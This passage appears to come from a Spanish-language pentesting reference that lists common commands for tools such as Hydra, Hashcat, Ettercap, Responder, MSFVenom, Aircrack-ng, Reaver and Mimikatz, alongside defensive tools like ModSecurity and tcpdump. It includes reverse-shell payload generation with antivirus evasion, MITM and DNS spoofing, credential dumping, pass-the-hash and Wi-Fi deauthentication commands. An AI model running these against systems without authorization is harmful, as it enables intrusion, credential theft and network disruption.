- Abrir ZAP > Proxy > Options > Local Proxy.
- Configurar el navegador para usar 127.0.0.1:8080 como proxy.

7. Automatizar tareas con comandos CLI

```
zap-cli start
```

Inicia OWASP ZAP en segundo plano.

```
zap-cli open-url http://example.com
```

Abre una URL dentro del entorno de ZAP.

8. Generar informes en HTML

```
zap-cli report -o reporte.html -f html
```

Crea un informe de análisis en formato HTML.

XSSStrike - Escáner avanzado de XSS

Descripción

XSSStrike es una herramienta de pentesting enfocada en **detectar y explotar vulnerabilidades de Cross-Site Scripting (XSS)** mediante fuzzing y técnicas de evasión de filtros de seguridad.

Propósito en ciberseguridad

- Detectar XSS reflejados, almacenados y blindados en aplicaciones web.
- Realizar ataques de fuzzing para encontrar vulnerabilidades XSS.
- Evadir filtros de seguridad y WAFs que bloquean inyecciones XSS.
- Enumerar parámetros vulnerables dentro de una URL.

Comandos más utilizados en XSSStrike

1. Analizar una URL en busca de XSS

```
xsstrike -u "http://example.com/index.php?param=1"
```

Analiza si param es vulnerable a XSS.

2. Probar inyección en una petición POST

```
xsstrike -u "http://example.com/login.php" --data "user=admin&pass=1234"
```

Evalúa la inyección de scripts en una petición con datos POST.

3. Enumerar parámetros vulnerables en la URL

```
xsstrike -u "http://example.com/index.php?param=1" --params
```

Extrae los parámetros de la URL y detecta posibles puntos de inyección.

4. Ejecutar un ataque de fuzzing para encontrar XSS

```
xsstrike -u "http://example.com/index.php?param=1" --fuzzer
```

Prueba múltiples vectores XSS mediante fuzzing.

5. Detectar vulnerabilidades XSS de tipo Blind

```
xsstrike -u "http://example.com/index.php?param=1" --blind
```

Busca inyecciones que no muestran resultados inmediatos, pero ejecutan código malicioso.

6. Rastrear y analizar todas las páginas de un sitio

```
xsstrike -u "http://example.com" --crawl
```

Escanea automáticamente todas las páginas vinculadas al dominio.

7. Intentar evadir WAFs y filtros de seguridad

```
xsstrike -u "http://example.com/index.php?param=1" --bypass
```

Usa técnicas avanzadas para eludir sistemas de protección.

8. Guardar los resultados en un archivo

```
xsstrike -u "http://example.com/index.php?param=1" --log-file resultado.txt
```

Guarda la salida del escaneo en un archivo.

ModSecurity - Firewall de Aplicaciones Web (WAF)

Descripción

ModSecurity es un **firewall de aplicaciones web (WAF)** utilizado para **detectar y mitigar ataques web** como **SQL Injection, XSS, RFI, LFI y más**. Funciona con servidores como **Apache, Nginx y IIS**.

Propósito en ciberseguridad

- **Proteger aplicaciones web contra ataques comunes.**
- **Registrar y analizar tráfico sospechoso en la web.**
- **Filtrar y bloquear solicitudes maliciosas.**
- **Aplicar reglas personalizadas para mejorar la seguridad.**

Comandos más utilizados en ModSecurity

1. Reiniciar Apache o Nginx para aplicar cambios

```
systemctl restart apache2
```

Reinicia Apache con las nuevas reglas de ModSecurity.

```
systemctl restart nginx
```

Reinicia Nginx si ModSecurity está configurado en él.

2. Habilitar, deshabilitar o solo monitorear ModSecurity

SecRuleEngine On

Activa ModSecurity y bloquea solicitudes maliciosas.

SecRuleEngine DetectionOnly

Solo detecta tráfico sospechoso sin bloquearlo.

SecRuleEngine Off

Desactiva ModSecurity completamente.

3. Crear una regla personalizada en ModSecurity

SecRule ARGS "@rx ataque" "id:1000,phase:2,deny,status:403"

Bloquea solicitudes que contengan la palabra "ataque" en los parámetros.

Include /etc/modsecurity/*.conf

Incluir reglas adicionales dentro de la configuración.

4. Ver logs y monitorear eventos de seguridad

```
cat /var/log/modsec_audit.log
```

Ver los eventos registrados por ModSecurity.

```
tail -f /var/log/modsec_audit.log
```

Monitorear en tiempo real los intentos de ataque detectados.

5. Verificar reglas y probar detección de ataques

```
modsec-rules-check /etc/modsecurity/*.conf
```

Verifica errores en las reglas configuradas en ModSecurity.

```
curl -A "sqlmap" http://example.com
```

Prueba si ModSecurity detecta un ataque de SQL Injection simulado.

Hydra - Ataques de fuerza bruta en servicios remotos

Descripción

Hydra es una herramienta diseñada para **realizar ataques de fuerza bruta contra servicios remotos** como SSH, FTP, HTTP, SMB y más.

Propósito en ciberseguridad

- **Realizar ataques de fuerza bruta contra múltiples protocolos.**
- **Automatizar pruebas de credenciales en servidores remotos.**
- **Optimizar ataques con múltiples hilos.**
- **Atacar formularios web personalizados.**

Comandos más utilizados en Hydra

1. Ataque de fuerza bruta contra un servidor FTP

```
hydra -l usuario -P passwords.txt <IP> ftp
```

Prueba la lista de contraseñas passwords.txt con el usuario especificado.

2. Fuerza bruta contra SSH con listas de usuarios y contraseña

```
hydra -L users.txt -P passwords.txt <IP> ssh
```

Usa una lista de usuarios y contraseñas para probar accesos en SSH.

3. Fuerza bruta en un formulario de inicio de sesión web

```
hydra -l admin -p 123456 <IP> http-form-post '/lo-  
gin.php:user=^USER^&pass=^PASS^:F=incorrecto'
```

Simula el envío de credenciales en un formulario HTML.

4. Ataque de fuerza bruta contra SMB

```
hydra -l admin -P passwords.txt <IP> smb
```

Prueba accesos en SMB utilizando una lista de contraseñas.

5. Usar 8 hilos para acelerar el ataque

```
hydra -t 8 -L users.txt -P passwords.txt <IP> ssh
```

Aumenta la velocidad del ataque con 8 conexiones simultáneas.

6. Mostrar cada intento en pantalla (modo verboso)

```
hydra -V -l admin -P passwords.txt <IP> ftp
```

Muestra cada intento de inicio de sesión.

7. Probar variaciones en nombres de usuario

```
hydra -e ns -l admin -P passwords.txt <IP> ftp
```

Prueba combinaciones en mayúsculas y con números.

8. Detener el ataque al encontrar una contraseña válida

```
hydra -f -l admin -P passwords.txt <IP> ssh
```

Finaliza la prueba cuando encuentre una credencial válida.

John the Ripper - Cracking de contraseñas y hashes

Descripción

John the Ripper (JtR) es una herramienta especializada en **romper hashes de contraseñas** mediante ataques de diccionario, fuerza bruta y combinaciones avanzadas.

Propósito en ciberseguridad

- **Romper contraseñas a partir de hashes de sistemas y archivos protegidos.**
- **Optimizar ataques con múltiples procesos y reglas de diccionarios.**
- **Soportar múltiples formatos de hashes como MD5, NTLM, SHA y más.**
- **Automatizar ataques de fuerza bruta y diccionario con reglas avanzadas.**

Comandos más utilizados en John the Ripper

1. Romper hashes con la configuración predeterminada

john hash.txt

Intenta descifrar los hashes almacenados en hash.txt.

2. Especificar el formato del hash a crackear

```
john --format=raw-md5 hash.txt
```

Define el formato de hash como MD5 sin procesar.

3. Usar un diccionario para romper hashes

```
john --wordlist=rockyou.txt hash.txt
```

Utiliza la wordlist rockyou.txt para probar contraseñas comunes.

4. Ejecutar un ataque de fuerza bruta incremental

```
john --incremental hash.txt
```

Prueba todas las combinaciones posibles de caracteres.

5. Definir un patrón específico de ataque (máscara)

```
john --mask=?l?l?l?l?l hash.txt
```

Intenta romper contraseñas de 5 letras minúsculas.

6. Aplicar reglas avanzadas a una wordlist

```
john --rules --wordlist=rockyou.txt hash.txt
```

Modifica palabras del diccionario aplicando reglas de permutación.

7. Mostrar las contraseñas descifradas

```
john --show hash.txt
```

Lista las contraseñas encontradas.

8. Reanudar un ataque interrumpido

```
john --restore=session_name
```

Continúa un ataque previamente iniciado.

9. Guardar el progreso del ataque en una sesión

```
john --session=mi_sesion hash.txt
```

Guarda el estado del ataque en una sesión llamada "mi_sesion".

10. Acelerar el cracking usando múltiples procesos

```
john --fork=4 hash.txt
```

Divide el trabajo en 4 procesos para mejorar la velocidad.

ARP Scan - Escaneo de dispositivos en la red local

Descripción

ARP Scan es una herramienta utilizada para **descubrir dispositivos en una red local** enviando paquetes ARP, identificando direcciones IP y MAC.

Propósito en ciberseguridad

- **Detectar dispositivos conectados a una red local.**
- **Identificar direcciones IP y MAC de dispositivos activos.**
- **Analizar redes con diferentes interfaces (Ethernet/Wi-Fi).**
- **Realizar escaneos rápidos sin generar mucho tráfico.**

Comandos más utilizados en ARP Scan

1. Escanear toda la red local en busca de dispositivos

```
arp-scan --localnet
```

Envía paquetes ARP para descubrir hosts en la red local.

2. Especificar la interfaz de red para el escaneo

```
arp-scan -I eth0 --localnet
```

Define la interfaz eth0 para ejecutar el escaneo.

3. Escaneo rápido de la red local

```
arp-scan -l
```

Realiza un escaneo rápido mostrando dispositivos conectados.

4. Escaneo en modo promiscuo

```
arp-scan -g
```

Detecta dispositivos ocultos utilizando el modo promiscuo.

5. Ejecutar un escaneo con una interfaz Wi-Fi

```
arp-scan --interface=wlan0 --localnet
```

Descubre dispositivos en una red inalámbrica.

6. Ajustar reintentos y tiempos de espera

```
arp-scan --retry=3 --timeout=1000 --localnet
```

Optimiza el escaneo aumentando los reintentos y el tiempo de espera.

7. Guardar los resultados en un archivo

```
arp-scan --localnet > resultado.txt
```

Guarda el escaneo en resultado.txt para su análisis posterior.

8. Mostrar solo direcciones IP y MAC

```
arp-scan --numeric --localnet
```

Filtrá la salida para mostrar solo direcciones IP y MAC.

9. Usar una dirección MAC aleatoria en el escaneo

```
arp-scan --random-mac --localnet
```

Oculta la dirección MAC del escáner para mayor anonimato.

Hashcat - Cracking avanzado de hashes

Descripción

Hashcat es una herramienta de **cracking de contraseñas altamente optimizada**, que permite descifrar hashes mediante ataques de diccionario, fuerza bruta y combinaciones híbridas.

Propósito en ciberseguridad

- **Romper hashes de contraseñas con GPU y CPU para mayor velocidad.**
- **Optimizar ataques con combinaciones personalizadas y máscaras.**
- **Reanudar sesiones de cracking interrumpidas.**
- **Ejecutar ataques híbridos combinando diccionarios y fuerza bruta.**

Comandos más utilizados en Hashcat

1. Ataque de diccionario usando RockYou

```
hashcat -m 0 -a 0 hash.txt rockyou.txt
```

Prueba todas las contraseñas de rockyou.txt contra los hashes.

2. Ataque de fuerza bruta con 6 dígitos

```
hashcat -m 1000 -a 3 hash.txt ?d?d?d?d?d?d
```

Prueba todas las combinaciones de 6 números (?d representa un dígito).

3. Ataque combinatorio con dos diccionarios

```
hashcat -m 1800 -a 1 hash.txt dict1.txt dict2.txt
```

Genera combinaciones de palabras de dict1.txt y dict2.txt.

4. Forzar ejecución en hardware incompatible

```
hashcat -m 0 -a 0 hash.txt rockyou.txt --force
```

Obliga a Hashcat a ejecutarse incluso si detecta problemas con el hardware.

5. Ejecutar sin almacenar resultados en un archivo .pot

```
hashcat -m 0 -a 0 hash.txt rockyou.txt --potfile-disable
```

Evita el almacenamiento de contraseñas crackeadas en hashcat.potfile.

6. Guardar el progreso del ataque en una sesión

```
hashcat -m 0 -a 0 hash.txt rockyou.txt --session=mi_sesion
```

Crea una sesión con nombre "mi_sesion" para poder reanudar después.

7. Reanudar un ataque interrumpido

```
hashcat --session=mi_sesion --restore
```

Continúa un ataque previamente pausado.

8. Ataque híbrido (diccionario + fuerza bruta)

```
hashcat -m 0 -a 6 hash.txt dict1.txt ?d?d?d
```

Prueba palabras de dict1.txt y les añade 3 números al final (?d?d?d).

9. Generar listas de contraseñas sin ejecutar el cracking

```
hashcat --stdout -a 0 rockyou.txt
```

Muestra todas las palabras generadas a partir de rockyou.txt.

```
hashcat --stdout -a 3 ?d?d?d?d?d?d
```

Genera y muestra todas las combinaciones de 6 dígitos sin crackear hashes.

Crunch - Generador de diccionarios personalizados

Descripción

Crunch es una herramienta utilizada para **generar diccionarios de contraseñas personalizados** con diferentes patrones, longitudes y combinaciones de caracteres.

Propósito en ciberseguridad

- Crear listas de contraseñas para ataques de fuerza bruta.
- Definir patrones específicos para generar combinaciones personalizadas.
- Optimizar la generación de diccionarios en función de caracteres predefinidos.
- Dividir la salida en archivos para facilitar el manejo de grandes listas.

Comandos más utilizados en Crunch

1. Generar todas las combinaciones de 6 letras con 'abcdef'

crunch 6 6 abcdef

Crea un diccionario con todas las combinaciones posibles de 6 letras.

2. Generar todas las combinaciones de 8 dígitos

crunch 8 8 0123456789

Genera una lista de contraseñas de 8 números.

3. Guardar la salida en un archivo

crunch 6 6 abcdef -o diccionario.txt

Guarda el diccionario generado en diccionario.txt.

crunch 5 5 abc123 -o diccionario.lst

Guarda el diccionario en formato .lst.

4. Generar combinaciones con un patrón específico

```
crunch 8 8 -t admin@@@
```

Genera contraseñas que comiencen con "admin" y terminen en 3 caracteres aleatorios.

```
crunch 6 6 -t pa?d?d?d
```

Genera contraseñas con el prefijo "pa" seguido de 3 números.

5. Optimizar la generación de diccionarios

```
crunch 8 8 abcdef -c 1000 -o diccionario.txt
```

Divide la salida en archivos de 1000 líneas para facilitar su manejo.

```
crunch 10 10 -f charset.lst mixalpha-numeric -o diccionario.txt
```

Usa el conjunto de caracteres predefinido alfanumérico.

Wireshark - Captura y análisis de tráfico de red

Descripción

Wireshark es una herramienta utilizada para **capturar, analizar y filtrar tráfico de red en tiempo real**, permitiendo la inspección profunda de paquetes en múltiples protocolos.

Propósito en ciberseguridad

- **Monitorear y analizar tráfico de red en tiempo real.**
- **Detectar ataques, anomalías y fugas de datos en la red.**
- **Filtrar paquetes de tráfico según protocolos o direcciones IP.**
- **Inspeccionar sesiones HTTP, DNS, TCP, UDP, ARP y más.**

Comandos más utilizados en Wireshark y TShark

1. Iniciar Wireshark en modo gráfico

wireshark

Abre la interfaz de usuario de Wireshark.

2. Capturar tráfico en la interfaz Ethernet desde línea de comandos

```
tshark -i eth0
```

Inicia una captura en la interfaz eth0.

3. Capturar tráfico en Wi-Fi y guardarlo en un archivo

```
tshark -i wlan0 -w captura.pcap
```

Guarda la captura en captura.pcap para análisis posterior.

4. Capturar solo tráfico HTTP

```
tshark -i eth0 -f 'tcp port 80'
```

Filtrar solo tráfico HTTP en la interfaz eth0.

5. Capturar solo paquetes UDP

```
tshark -i eth0 -f 'udp'
```

Captura tráfico UDP exclusivamente.

6. Filtrar tráfico en Wireshark para ver solo solicitudes HTTP

`http.request`

Muestra únicamente las solicitudes HTTP dentro de la captura.

7. Filtrar tráfico según la dirección IP de origen

`ip.src == 192.168.1.1`

Filtrá paquetes donde la IP de origen es 192.168.1.1.

8. Mostrar solo paquetes TCP con la bandera SYN

`tcp.flags.syn == 1`

Muestra solo los paquetes TCP que inician una conexión.

9. Leer un archivo de captura y analizar paquetes

`tshark -r captura.pcap`

Muestra todos los paquetes almacenados en captura.pcap.

10. Filtrar solicitudes HTTP en un archivo de captura

`tshark -r captura.pcap -Y 'http.request'`

Extrae solo las solicitudes HTTP de un archivo de captura.

Tcpdump - Captura y análisis de tráfico en línea de comandos

Descripción

Tcpdump es una herramienta de línea de comandos utilizada para **capturar y analizar tráfico de red en tiempo real**, permitiendo inspeccionar paquetes y aplicar filtros específicos.

Propósito en ciberseguridad

- **Monitorear tráfico en una interfaz de red en tiempo real.**
- **Filtrar paquetes según direcciones IP, protocolos y puertos.**
- **Guardar capturas para análisis posterior con Wireshark.**
- **Inspeccionar el contenido de paquetes en formato hexadecimal y ASCII.**

Comandos más utilizados en Tcpdump

1. Capturar tráfico en la interfaz Ethernet

```
tcpdump -i eth0
```

Captura todos los paquetes en eth0.

2. Capturar tráfico en la interfaz Wi-Fi

```
tcpdump -i wlan0
```

Monitorea tráfico en wlan0 en tiempo real.

3. Listar todas las interfaces disponibles

```
tcpdump -D
```

Muestra todas las interfaces de red que pueden ser utilizadas para capturar tráfico.

4. Capturar solo tráfico HTTP

```
tcpdump -i eth0 port 80
```

Filtrá tráfico con destino o origen en el puerto 80 (HTTP).

5. Capturar solo tráfico de una IP específica

```
tcpdump -i eth0 host 192.168.1.1
```

Captura tráfico relacionado con la IP 192.168.1.1.

```
tcpdump -i eth0 src host 192.168.1.1
```

Captura solo tráfico con origen en 192.168.1.1.

```
tcpdump -i eth0 dst host 192.168.1.1
```

Captura solo tráfico con destino a 192.168.1.1.

6. Guardar la captura en un archivo

```
tcpdump -i eth0 -w captura.pcap
```

Guarda los paquetes en captura.pcap para su análisis posterior en Wireshark.

7. Leer y analizar una captura guardada

```
tcpdump -r captura.pcap
```

Muestra los paquetes almacenados en captura.pcap.

8. Capturar solo un número específico de paquete

```
tcpdump -i eth0 -c 100
```

Captura solo 100 paquetes y luego se detiene.

9. Mostrar tráfico sin resolver nombres de host

```
tcpdump -i eth0 -n
```

Muestra direcciones IP en lugar de nombres de dominio.

10. Mostrar contenido de los paquetes en hexadecimal y ASCII

```
tcpdump -i eth0 -X
```

Muestra los datos de los paquetes capturados en formato hexadecimal y ASCII.



11. Agregar marca de tiempo detallada

```
tcpdump -i eth0 -tttt
```

Muestra cada paquete con una marca de tiempo precisa.

Ettercap - Herramienta para ataques MITM y análisis de red

Descripción

Ettercap es una herramienta de **ataques Man-in-the-Middle (MITM)** utilizada para interceptar, modificar y analizar tráfico de red en tiempo real.

Propósito en ciberseguridad

- Realizar ataques MITM en redes locales.
- Interceptar y modificar tráfico entre dispositivos.
- Ejecutar ataques de spoofing ARP y DNS.
- Capturar tráfico de red para análisis posterior.

Comandos más utilizados en Ettercap

1. Iniciar Ettercap en modo gráfico

ettercap -G

Abre la interfaz gráfica de Ettercap.

2. Iniciar Ettercap en modo texto silencioso

ettercap -T -Q

Ejecuta Ettercap en la terminal sin mostrar detalles en pantalla.

3. Iniciar Ettercap en modo consola interactiva

`ettercap -C`

Permite interactuar con Ettercap en la línea de comandos.

4. Escanear la red en la interfaz Ethernet

`ettercap -T -i eth0`

Analiza los dispositivos conectados a eth0.

5. Realizar un ataque MITM entre el router y un host

`ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//`

Intercepta tráfico entre el router y el host 192.168.1.100.

6. Realizar un MITM ARP en toda la red

`ettercap -T -M arp:remote // //`

Intercepta todo el tráfico de la red local.

7. Capturar tráfico y guardarlo en un archivo

```
ettercap -T -i eth0 -w captura.pcap
```

Guarda los paquetes capturados en captura.pcap.

8. Realizar un ataque de spoofing DNS

```
ettercap -T -M arp:remote -P dns_spoof // //
```

Manipula las solicitudes DNS para redirigir a víctimas a sitios falsificados.

9. Aplicar un filtro personalizado a los paquetes interceptados

```
ettercap -T -F filtro.ef -M arp:remote // //
```

Utiliza un filtro .ef para modificar tráfico en tiempo real.

10. Guardar el log de eventos en un archivo

```
ettercap -T -L log.txt
```

Registra todas las acciones en log.txt para su análisis posterior.

11. Agregar automáticamente nuevas víctimas detectadas

```
ettercap -T -P autoadd
```

Añade dispositivos nuevos al ataque de forma automática.

Responder - Interceptación y captura de credenciales en redes locales

Descripción

Responder es una herramienta utilizada para **interceptar y capturar credenciales en redes locales**, explotando protocolos como LLMNR, NBT-NS y WPAD.

Propósito en ciberseguridad

- Capturar credenciales NTLM, SMB y HTTP en redes Windows.
- Responder automáticamente a solicitudes de autenticación en la red.
- Interceptar peticiones LLMNR y NetBIOS para ataques MITM.
- Obtener hashes de autenticación de usuarios conectados a la red.

Comandos más utilizados en Responder

1. Iniciar Responder en la interfaz Ethernet

responder -l eth0

Capturas credenciales interceptando peticiones en la red local.

2. Ejecutar Responder en una interfaz Wi-Fi

responder -l wlan0

Funciona en redes Wi-Fi para interceptar credenciales.

3. Interceptar credenciales y guardar hashes

responder -l eth0 -w

Capturas credenciales y almacena los hashes en un archivo.

4. Habilitar falsificación de servidores

responder -l eth0 -f

Engaña a los clientes redirigiéndolos a servidores falsos.

5. Responder automáticamente a solicitudes LLMNR y NetBIOS

```
responder -l eth0 -r
```

Activa respuestas automáticas para capturar autenticaciones.

6. Capturar credenciales en modo detallado

```
responder -l eth0 -v
```

Ejecuta Responder en **modo verboso** para ver más detalles.

7. Forzar respuestas solo a peticiones directas

```
responder -l eth0 -F
```

Limita las respuestas a solicitudes directas.

8. Capturar hashes LM de usuarios

```
responder -l eth0 --lm
```

Extrae hashes LM de autenticación.

9. Capturar hashes NTLM de autenticación

```
responder -l eth0 --ntlm
```

Obtiene credenciales NTLM de usuarios autenticados en la red.

10. Especificar un desafío NTLM personalizado

```
responder -l eth0 --challenge 1122334455667788
```

Configura un valor de desafío NTLM específico.

11. Guardar eventos en un archivo de log

```
responder -l eth0 --log-to-file
```

Registra toda la actividad en un archivo de log para su análisis.

12. Analizar tráfico de autenticación en la red

```
responder -l eth0 --analyze
```

Examina y analiza tráfico de autenticación para identificar vulnerabilidades.

MSFVenom - Generación de payloads en Metasploit

Descripción

MSFVenom es una herramienta de Metasploit utilizada para **crear payloads personalizados**, permitiendo la generación de código malicioso para múltiples plataformas.

Propósito en ciberseguridad

- **Generar payloads para explotación en Windows, Linux, macOS y Android.**
- **Codificar y cifrar payloads para evadir detección antivirus.**
- **Crear shellcodes para exploits manuales.**
- **Incrustar payloads en archivos ejecutables, scripts y documentos.**

Comandos más utilizados en MSFVenom

1. Generar un payload para Windows en formato .exe

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP>
LPORT=<PUERTO> -f exe -o shell.exe
```

Crea un ejecutable malicioso con una shell reversa.

2. Generar un payload para Linux en formato .elf

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP>
LPORT=<PUERTO> -f elf -o shell.elf
```

Crea un binario ELF para sistemas Linux.

3. Generar un payload PHP

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP>
LPORT=<PUERTO> -f raw -o shell.php
```

Crea un script PHP malicioso.

4. Generar un payload en Python

```
msfvenom -p cmd/unix/reverse_python LHOST=<IP>
LPORT=<PUERTO> -f raw -o shell.py
```

Crea un payload en Python para ejecución remota.

5. Usar el encoder 'shikata_ga_nai' para evadir detección

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP>
LPORT=<PUERTO> -e x86/shikata_ga_nai -f exe -o shell.exe
```

Aplica codificación para evadir antivirus.

6. Cifrar el payload con RC4

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP>
LPORT=<PUERTO> --encrypt rc4 -f exe -o shell.exe
```

Usa cifrado RC4 para ocultar el payload.

7. Generar un payload en formato APK para Android

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP>
LPORT=<PUERTO> -f raw -o shell.apk
```

Crea un APK malicioso con conexión reversa.

8. Generar un payload para macOS

```
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=<IP>
LPORT=<PUERTO> -f macho -o shell.macho
```

Genera un binario compatible con macOS.

9. Generar shellcode en C sin bytes nulos

```
msfvenom -p windows/shell_reverse_tcp LHOST=<IP>  
LPORT=<PUERTO> -b "\x00" -f c
```

Crea shellcode en C evitando bytes nulos.

10. Generar shellcode en Python

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP>  
LPORT=<PUERTO> -b "\x00" -f python
```

Genera shellcode en Python para exploits manuales.

Aircrack-ng - Análisis y ataque a redes Wi-Fi

Descripción

Aircrack-ng es una suite de herramientas utilizadas para **auditoría de redes Wi-Fi**, incluyendo la captura de tráfico, ataques de desautenticación y cracking de claves WEP y WPA.

Propósito en ciberseguridad

- **Capturar y analizar tráfico en redes Wi-Fi.**
- **Romper claves WEP y WPA/WPA2 mediante ataques de diccionario.**
- **Ejecutar ataques de deautenticación para capturar handshakes.**

- Realizar autenticaciones falsas para obtener acceso a redes.

Comandos más utilizados en Aircrack-ng

1. Habilitar el modo monitor en la interfaz Wi-Fi

```
airmon-ng start wlan0
```

Activa el modo monitor en wlan0.

2. Escanear redes Wi-Fi disponibles

```
airodump-ng wlan0mon
```

Muestra los puntos de acceso cercanos y los clientes conectados.

3. Capturar tráfico de un AP específico

```
airodump-ng -c 6 --bssid <MAC_AP> -w captura wlan0mon
```

Guarda tráfico de un punto de acceso específico en captura.cap.

4. Romper una clave WEP o WPA con un diccionario

```
aircrack-ng -b <MAC_AP> -w diccionario.txt captura.cap
```

Descifra la clave Wi-Fi utilizando un diccionario.

5. Enviar paquetes de deautenticación para desconectar clientes

```
aireplay-ng -0 10 -a <MAC_AP> wlan0mon
```

Fuerza la desconexión de los clientes del AP.

6. Realizar ataque de reinyección de ARP en WEP

```
aireplay-ng -3 -b <MAC_AP> wlan0mon
```

Aumenta los IVs para acelerar el cracking de WEP.

7. Capturar handshake WPA/WPA2

```
airodump-ng -c <canal> --bssid <MAC_AP> -w handshake wlan0mon
```

Captura el handshake WPA necesario para el ataque de diccionario.

8. Romper clave WPA con diccionario

```
aircrack-ng -w diccionario.txt -b <MAC_AP> handshake.cap
```

Intenta descifrar la clave WPA utilizando un diccionario.

9. Autenticación falsa en redes WEP

```
aireplay-ng -1 0 -a <MAC_AP> -h <MAC_CLIENTE> wlan0mon
```

Simula una autenticación en redes WEP.

10. Detener procesos que interfieren con modo monitor

```
airmon-ng check kill
```

Mata procesos que pueden causar interferencias.

11. Aumentar la potencia de transmisión de la tarjeta Wi-Fi

```
iwconfig wlan0 txpower 30
```

Aumenta la potencia de salida para mejorar el alcance.

Reaver - Ataque de fuerza bruta contra WPS en redes Wi-Fi

Descripción

Reaver es una herramienta utilizada para **realizar ataques de fuerza bruta en redes Wi-Fi con WPS habilitado**, permitiendo recuperar la clave WPA/WPA2.

Propósito en ciberseguridad

- **Descubrir redes Wi-Fi con WPS habilitado.**
- **Realizar ataques de fuerza bruta para obtener el PIN WPS.**
- **Evitar bloqueos y mejorar la eficiencia del ataque.**
- **Capturar y analizar la respuesta del punto de acceso.**

Comandos más utilizados en Reaver

1. Escanear redes Wi-Fi con WPS activado

```
wash -i wlan0mon
```

Escanear redes cercanas con WPS habilitado.

2. Mostrar solo APs con WPS activado y sin falsos positivos

```
wash -i wlan0mon -C
```

Filtrar redes activas con WPS sin mostrar información incorrecta.

3. Ataque WPS en modo detallado

```
reaver -i wlan0mon -b <MAC_AP> -vv
```

Ejecuta un ataque WPS con información detallada.

4. Ataque WPS en un canal específico

```
reaver -i wlan0mon -b <MAC_AP> -c 6 -vv
```

Dirige el ataque a un AP específico en el canal 6.

5. Ataque WPS con retraso entre intentos

```
reaver -i wlan0mon -b <MAC_AP> -vv -d 5
```

Establece un retraso de 5 segundos entre intentos para evitar bloqueos.

6. Ataque sin retransmisión de NACKs y sin retrasos

```
reaver -i wlan0mon -b <MAC_AP> -S -N -d 0
```

Evita respuestas negativas y optimiza la velocidad del ataque.

7. Guardar y reanudar una sesión de ataque

```
reaver -i wlan0mon -b <MAC_AP> --session session.txt
```

Permite pausar y continuar el ataque sin perder progreso.

8. Probar un PIN específico de WPS

```
reaver -i wlan0mon -b <MAC_AP> -vv --pin=<PIN>
```

Prueba un PIN de WPS específico en un punto de acceso.

9. Evitar el bloqueo del AP limitando las conexiones fallidas

```
reaver -i wlan0mon -b <MAC_AP> -L
```

Reduce la probabilidad de que el AP bloquee el ataque.

10. Desactivar la función de autoasociación

```
reaver -i wlan0mon -b <MAC_AP> -D
```

Evita que el ataque se interrumpa al perder conexión con el AP.

11. Ajustar el tiempo de espera entre paquetes

```
reaver -i wlan0mon -b <MAC_AP> -t 10
```

Configura un tiempo de espera de 10 segundos entre paquetes.

Wifite - Auditoría automatizada de redes Wi-Fi

Descripción

Wifite es una herramienta diseñada para **automatizar ataques a redes Wi-Fi**, facilitando la ejecución de ataques WEP, WPA, WPA2 y WPS con un solo comando.

Propósito en ciberseguridad

- Automatizar la captura de handshakes en WPA/WPA2.
- Ejecutar ataques de fuerza bruta con diccionarios.
- Realizar ataques a redes WPS con Reaver o Bully.
- Optimizar ataques de deautenticación en redes vulnerables.

Comandos más utilizados en Wifite

1. Iniciar Wifite en modo automático

wifite

Escanea redes Wi-Fi y muestra opciones de ataque.

2. Matar procesos que interfieren con la captura

wifite --kill

Finaliza procesos que pueden bloquear la interfaz Wi-Fi.

3. Escanear solo redes con WPS activado

wifite --wps

Filtre y muestra solo redes con WPS habilitado.

4. Escanear solo redes con cifrado WEP

wifite --wep

Enfoca el escaneo solo en redes WEP.

5. Escanear solo redes con cifrado WPA/WPA2

wifite --wpa

Filtrá el escaneo para redes WPA/WPA2.

6. Ejecutar ataques automáticos según redes disponibles

wifite --attack

Ejecuta ataques automáticamente sin intervención del usuario.

7. Usar Bully en lugar de Reaver para ataques WPS

wifite --bully

Usa Bully como método de ataque WPS en lugar de Reaver.

8. Especificar una clave WPA para verificación

wifite --wpakey <clave>

Permite probar una clave WPA en redes capturadas.

9. Usar un diccionario personalizado para WPA

```
wifite --dict <archivo>
```

Especifica un diccionario para ataques WPA/WPA2.

10. Forzar el cracking de handshakes capturados

```
wifite --crack
```

Inicia automáticamente el proceso de crackeo después de la captura.

11. Cambiar la dirección MAC aleatoriamente

```
wifite --mac
```

Modifica la MAC de la tarjeta Wi-Fi para mayor anonimato.



12. Definir un tiempo de espera para capturar handshakes

```
wifite --timeout 10
```

Configura un tiempo límite de 10 segundos por intento.

13. Evitar ataques de deautenticación

```
wifite --nodeauth
```

Ejecuta ataques sin enviar paquetes de autenticación.

Mimikatz - Extracción y manipulación de credenciales en Windows

Descripción

Mimikatz es una herramienta utilizada para **extraer credenciales de Windows**, permitiendo realizar ataques como **Pass-The-Hash**, **Pass-The-Ticket** y **Golden Ticket**.

Propósito en ciberseguridad

- Extraer credenciales en texto claro desde la memoria.
- Obtener hashes NTLM de usuarios autenticados.
- Manipular tickets Kerberos para ataques de persistencia.
- Elevar privilegios y obtener información del sistema.

Comandos más utilizados en Mimikatz

1. Iniciar Mimikatz en Windows

```
mimikatz.exe
```

Abre la consola de Mimikatz en Windows.

2. Elevar privilegios para ejecutar comandos avanzados

privilege::debug

Obtiene permisos elevados en el sistema.

3. Obtener credenciales en texto plano desde la memoria

sekurlsa::logonpasswords

Extrae credenciales en texto claro de sesiones activas.

4. Extraer contraseñas en texto claro de autenticaciones WDigest

sekurlsa::wdigest

Recupera credenciales almacenadas en WDigest.

5. Extraer tickets Kerberos de usuarios autenticados

sekurlsa::kerberos

Muestra tickets Kerberos en la memoria.

6. Realizar ataque Pass-The-Hash

```
sekurlsa::pth /user:admin /domain:empresa.local /ntlm:<hash>
```

Usa un hash NTLM para autenticarse sin contraseña.

7. Generar un Golden Ticket en Kerberos

```
kerberos::golden /user:admin /domain:empresa.local /sid:<SID>
/krbtgt:<hash>
```

Crea un ticket Kerberos válido indefinidamente.

8. Cargar un ticket Kerberos en memoria

```
kerberos::ptt <ticket.kirbi>
```

Usa un ticket Kerberos para autenticación sin credenciales.

